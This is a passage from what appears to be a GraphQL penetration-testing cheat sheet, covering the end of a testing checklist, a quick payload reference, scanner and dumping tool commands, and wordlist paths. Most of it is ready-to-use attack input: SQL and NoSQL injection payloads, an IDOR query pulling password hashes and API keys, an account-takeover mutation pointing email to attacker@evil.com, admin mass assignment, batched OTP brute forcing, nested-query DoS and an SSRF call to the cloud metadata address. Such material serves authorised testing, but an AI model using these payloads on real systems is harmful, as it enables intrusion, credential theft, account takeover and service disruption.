│ ├── Try IDOR — change IDs in queries and mutations
│ └── Try adding role/admin fields to mutation inputs
│
├── Step 5: Injection testing
│ ├── SQL Injection in all arguments (string and int types)
│ ├── NoSQL Injection (object operators: {$gt, $ne, $regex})
│ ├── Command Injection in file/system-related args
│ ├── SSTI in template-rendered args
│ └── Path traversal in file path args
│
├── Step 6: Abuse testing
│ ├── Alias batching → brute force login / OTP
│ ├── Array batching → rate limit bypass
│ ├── Deep nesting → DoS
│ └── Fragment bombs → complexity DoS
│
└── Step 7: CSRF / transport
├── Try GET-based mutations (CSRF via img/script)
├── Check WebSocket subscriptions (auth required?)
└── Check Origin validation on WS upgrade
Quick Payload Reference
# ── Introspection Check ──
{ __typename }
{ __schema { queryType { name } } }
{ __type(name: "Query") { fields { name } } }
# ── Full Schema Dump (one-liner) ──
{ __schema { types { kind name fields(includeDeprecated:true) { name args { name type { kind name ofType { kind name } } } type { kind name ofType { kind name } } } } } }
# ── Field Suggestion Trigger ──
{ uzer { id } }
{ adm1n { id } }
# ── SQLi Test ──
{ user(id: "1'") { id } }
{ user(id: "1 AND SLEEP(5)") { id } }
{ search(term: "x' UNION SELECT null,version()--") { results { id } } }
# ── NoSQLi Test ──
{ user(email: {$ne: null}) { id email password } }
{ login(email: {$gt: ""}, password: {$ne: null}) { token } }
# ── IDOR Test ──
{ user(id: 1) { id email passwordHash role apiKey } }
mutation { updateUser(id: 1, input: { email: "attacker@evil.com" }) { id } }
# ── Mass Assignment ──
mutation { updateProfile(input: { role: "admin", isAdmin: true, balance: 999999 }) { id role } }
# ── Alias Brute Force (OTP) ──
mutation {
a0000: verifyOTP(code: "0000") { success token }
a0001: verifyOTP(code: "0001") { success token }
a1337: verifyOTP(code: "1337") { success token }
}
# ── DoS — Nested Query ──
{ user(id:1){ friends { friends { friends { friends { friends { id } } } } } } }
# ── SSRF via Mutation ──
mutation { importFromURL(url: "http://169.254.169.254/latest/meta-data/") { content } }
Tool Quick Reference
# Framework detection:
graphw00f -d -t https://target.com/graphql
# Schema dump + query generation:
inql -t https://target.com/graphql -o ./output/
# Blind schema reconstruction:
clairvoyance -u https://target.com/graphql -o schema.json
# SQLi via GraphQL:
sqlmap -r req.txt --dbms=mysql --batch --level=3
# Nuclei scan:
nuclei -u https://target.com/graphql -tags graphql -v
# Introspection dump via curl:
curl -s -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name fields(includeDeprecated:true) { name } } } }"}' \
| jq '.data.__schema.types[] | select(.fields != null) | {name, fields: [.fields[].name]}'
# Batch brute force (login):
# python3 batch_bruteforce.py <target> <wordlist>
# Check for GET-based mutations (CSRF):
curl -s "https://target.com/graphql?query=mutation{deleteAccount{success}}"
# WebSocket subscription test:
wscat -c wss://target.com/graphql -H "Sec-WebSocket-Protocol: graphql-transport-ws"
Useful SecLists for GraphQL
# GraphQL-specific wordlists:
/usr/share/seclists/Discovery/Web-Content/graphql.txt
/usr/share/seclists/Discovery/Web-Content/api/graphql-introspection-query.txt
# Generic API wordlists useful for field name fuzzing:
/usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt
/usr/share/seclists/Discovery/Web-Content/common.txt
# Use with clairvoyance for blind schema reconstruction:
clairvoyance -u https://target.com/graphql \
-w /usr/share/seclists/Discovery/Web-Content/graphql.txt \
-o schema.json